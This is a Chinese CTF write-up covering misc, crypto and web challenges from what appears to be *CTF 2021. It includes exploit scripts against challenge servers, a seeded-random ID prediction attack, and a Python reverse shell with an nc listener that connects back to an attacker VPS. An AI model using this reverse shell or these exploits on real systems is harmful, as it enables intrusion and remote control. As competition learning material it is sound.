跟后援团的老哥们组了个野队,排名35,还行
MISC
signin
签到,没啥好说的
MineGame
首先安装依赖,正常运行
扫雷游戏
踩雷会播放哈利路亚bgm,然后如果正常游玩大概10秒左右会强制结束
猜测游戏胜利会基于flag,那flag必然已经在内存之中,
使用无敌的ce修改器
通过高级选项暂停游戏,使其不退出
利用常规的字符搜索,搜搜*ctf的unicode值
竟然能直接找到,太棒了
那就直接查看内存,直接搜就完事了
little tricks
开局一个ll2,改为后缀vhdx发现是个加密的磁盘文件
由于bitlocker最小字符是8位,所以盲猜了一下密码是12345678结果就解开了,经典弱口令
里面存在的12345678意义不明,膜了
直接打开ftk进行磁盘取证,查找隐藏文件
找到一个pdf,然后这个flag提交不对,找了半天也就这一个玩意
那就转成word,然后就出来了
puzzle
拼图,看似很难,但是拼出来就行了,体力活,群内师傅使用gaps出的,我 不 用
Crypto
GuessKey
guesskey
GuessKey2
贴呆呆神的exp(虽然是手撸的)
from pwn import*
p = remote('52.163.228.53', 8082)
p.recvuntil('mask:')
mask = 2**64-1
guess = mask
while True:
p.sendline(str(mask))
p.recvuntil('guess:')
p.sendline(str(guess))
a = p.recv()
if a[:5] != b'Oops.':
mask = 0
p.sendline(str(mask))
p.recvuntil('guess:')
p.sendline(str(guess))
p.recv()
p.sendline(str(mask))
p.recvuntil('guess:')
p.sendline(str(guess))
a = p.recv()
print(a)
break
p.interactive()
little case
NCTF2019的easyrsa原题
NCTF2019-官方writeup – 郁离歌丶的博客 (yulige.top)
改一下payload参数就行,pq都没变。。e也没变,绝了
WEB
oh-my-note
一般路过代码审计,保证伪造session,还有时间戳一堆鬼东西,然后最后输出到private继续了
import requests
import time
import datetime
import random
import string
import numpy as np
url = 'http://52.163.52.206:5002/view/'
id1 = 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u'
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
for i in np.arange(1610677738,1610677801,0.0001):
i = round(i,4)
timestamp = round(i,4)
random.seed(timestamp)
user_id = get_random_id()
timestamp = round(i, 4)
post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
random.seed(user_id + post_at)
note_id = get_random_id()
if note_id == id1:
print(user_id)
break
for i in range(0,10):
timestamp = round(1610677738+i*60, 4)
post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
random.seed(user_id + post_at)
note_id = get_random_id()
res = requests.get(url=url+note_id)
if res.status_code==200:
print(note_id)
print(res.text)
oh-my-socket
超级唬人开局,我以为很难,其实很简单,源码都给了
下载附件,一个docker compose,三个文件夹,里面三个文件,
部署上的效果
简述一下,webserver就是这个题目最外面的公网,client没有用,server上藏着flag
可以对server进行简单审计
除了这段,其他都是常规socket服务端的代码,然后如果传的数据等于*ctf,然后就输出这个文件,这个文件里面就是flag
打开一个链接,里面打开后也是个代码审计,简单审一下发现就是上传python文件,然后执行,那说明就可以直接弹shell,
vps进行监听:nc -lvvp 2333
上传2.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("vpsip",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
然后弹shell,撰写socket客户端的代码
from socket import *
HOST = '172.21.0.2'
PORT = 21587
BUFSIZ = 1024
ADDR = (HOST, PORT)
tcpCliSock = socket(AF_INET,SOCK_STREAM)
tcpCliSock.connect(ADDR)
while True:
data = b'*ctf'
if not data:
break
tcpCliSock.send(data)
data = tcpCliSock.recv(BUFSIZ)
if not data:
break
print(data)
tcpCliSock.close
由于他没内置vi和vim这类编辑器,所以得想个骚操作把这个写入
把他转为base64然后解码echo即可
echo ZnJvbSBzb2NrZXQgaW1wb3J0ICoKSE9TVCA9ICcxNzIuMjEuMC4yJwpQT1JUID0gMjE1ODcKQlVGU0laID0gMTAyNApBRERSID0gKEhPU1QsIFBPUlQpCgp0Y3BDbGlTb2NrID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0pCnRjcENsaVNvY2suY29ubmVjdChBRERSKQoKd2hpbGUgVHJ1ZToKICAgIGRhdGEgPSBiJypjdGYnCiAgICBpZiBub3QgZGF0YToKICAgICAgICBicmVhawogICAgdGNwQ2xpU29jay5zZW5kKGRhdGEpCiAgICBkYXRhID0gdGNwQ2xpU29jay5yZWN2KEJVRlNJWikKICAgIGlmIG5vdCBkYXRhOgogICAgICAgIGJyZWFrCiAgICBwcmludChkYXRhKQoKdGNwQ2xpU29jay5jbG9zZQo= |base64 -d >1.py
最后直接python3 1.py就行了
- 最新
- 最热
只看作者